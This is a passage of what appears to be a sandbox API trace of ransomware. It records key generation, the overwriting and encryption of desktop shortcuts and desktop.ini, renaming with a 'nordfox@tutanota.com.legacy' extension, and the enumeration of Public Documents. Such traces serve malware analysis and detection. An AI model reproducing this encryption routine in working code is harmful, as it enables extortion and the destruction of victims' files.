CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0113.500] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0113.501] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0113.501] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0113.501] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=999) returned 1 [0113.501] ReadFile (in: hFile=0x614, lpBuffer=0x582160, nNumberOfBytesToRead=0x3e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e7, lpOverlapped=0x0) returned 1 [0113.502] SetFilePointer (in: hFile=0x614, lDistanceToMove=-999, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.502] WriteFile (in: hFile=0x614, lpBuffer=0x582550*, nNumberOfBytesToWrite=0x3e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582550*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e7, lpOverlapped=0x0) returned 1 [0113.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582550 | out: hHeap=0x520000) returned 1 [0113.502] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e7 [0113.502] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.502] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.503] WriteFile (in: hFile=0x614, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.503] WriteFile (in: hFile=0x614, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.503] CloseHandle (hObject=0x614) returned 1 [0113.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0113.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0113.503] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f18 | out: hHeap=0x520000) returned 1 [0113.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0113.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0113.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0113.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0113.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0113.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.505] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0113.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0113.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.505] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0113.506] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2330) returned 1 [0113.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x91a) returned 0x582160 [0113.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x91a) returned 0x582a88 [0113.506] ReadFile (in: hFile=0x614, lpBuffer=0x582160, nNumberOfBytesToRead=0x91a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x91a, lpOverlapped=0x0) returned 1 [0113.506] SetFilePointer (in: hFile=0x614, lDistanceToMove=-2330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.507] WriteFile (in: hFile=0x614, lpBuffer=0x582a88*, nNumberOfBytesToWrite=0x91a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582a88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x91a, lpOverlapped=0x0) returned 1 [0113.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a88 | out: hHeap=0x520000) returned 1 [0113.507] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x91a [0113.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.507] WriteFile (in: hFile=0x614, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.507] WriteFile (in: hFile=0x614, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.507] CloseHandle (hObject=0x614) returned 1 [0113.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0113.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.508] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0113.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0113.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0113.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0113.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.510] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ab0 [0113.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.510] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0113.510] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=174) returned 1 [0113.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x5e7958 [0113.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x5e7cf0 [0113.510] ReadFile (in: hFile=0x614, lpBuffer=0x5e7958, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7958*, lpNumberOfBytesRead=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0113.511] SetFilePointer (in: hFile=0x614, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.511] WriteFile (in: hFile=0x614, lpBuffer=0x5e7cf0*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0113.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0113.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7cf0 | out: hHeap=0x520000) returned 1 [0113.511] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xae [0113.512] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.512] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.512] WriteFile (in: hFile=0x614, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.512] WriteFile (in: hFile=0x614, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.512] CloseHandle (hObject=0x614) returned 1 [0113.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0113.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.512] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), lpNewFileName="\\Users\\Public\\Desktop\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\desktop\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ab0 | out: hHeap=0x520000) returned 1 [0113.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0113.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0113.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0113.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0113.519] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0113.519] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0113.519] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk", dwFileAttributes=0x80) returned 1 [0113.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0113.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0113.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0113.520] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0113.520] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2130) returned 1 [0113.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x852) returned 0x582160 [0113.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x852) returned 0x5829c0 [0113.520] ReadFile (in: hFile=0x614, lpBuffer=0x582160, nNumberOfBytesToRead=0x852, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x852, lpOverlapped=0x0) returned 1 [0113.521] SetFilePointer (in: hFile=0x614, lDistanceToMove=-2130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.521] WriteFile (in: hFile=0x614, lpBuffer=0x5829c0*, nNumberOfBytesToWrite=0x852, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5829c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x852, lpOverlapped=0x0) returned 1 [0113.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5829c0 | out: hHeap=0x520000) returned 1 [0113.521] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x852 [0113.521] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.521] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.522] WriteFile (in: hFile=0x614, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.522] WriteFile (in: hFile=0x614, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.522] CloseHandle (hObject=0x614) returned 1 [0113.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0113.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0113.522] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), lpNewFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0113.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0113.524] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd1e82a69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6498 [0113.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0113.524] GetLastError () returned 0x0 [0113.524] SetLastError (dwErrCode=0x0) [0113.524] GetLastError () returned 0x0 [0113.524] SetLastError (dwErrCode=0x0) [0113.524] GetLastError () returned 0x0 [0113.524] SetLastError (dwErrCode=0x0) [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6618 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6618 | out: hHeap=0x520000) returned 1 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0113.525] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd1e82a69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0113.525] GetLastError () returned 0x0 [0113.525] SetLastError (dwErrCode=0x0) [0113.525] GetLastError () returned 0x0 [0113.525] SetLastError (dwErrCode=0x0) [0113.525] GetLastError () returned 0x0 [0113.525] SetLastError (dwErrCode=0x0) [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c62d8 [0113.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c62d8 | out: hHeap=0x520000) returned 1 [0113.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0113.526] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0113.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0113.526] GetLastError () returned 0x0 [0113.526] SetLastError (dwErrCode=0x0) [0113.526] GetLastError () returned 0x0 [0113.526] SetLastError (dwErrCode=0x0) [0113.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0113.526] GetLastError () returned 0x0 [0113.526] SetLastError (dwErrCode=0x0) [0113.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0113.526] FindNextFileW (in: hFindFile=0x5c6498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0113.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0113.526] GetLastError () returned 0x0 [0113.526] SetLastError (dwErrCode=0x0) [0113.526] GetLastError () returned 0x0 [0113.526] SetLastError (dwErrCode=0x0) [0113.526] GetLastError () returned 0x0 [0113.526] SetLastError (dwErrCode=0x0) [0113.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0113.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0113.527] GetLastError () returned 0x0 [0113.527] SetLastError (dwErrCode=0x0) [0113.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 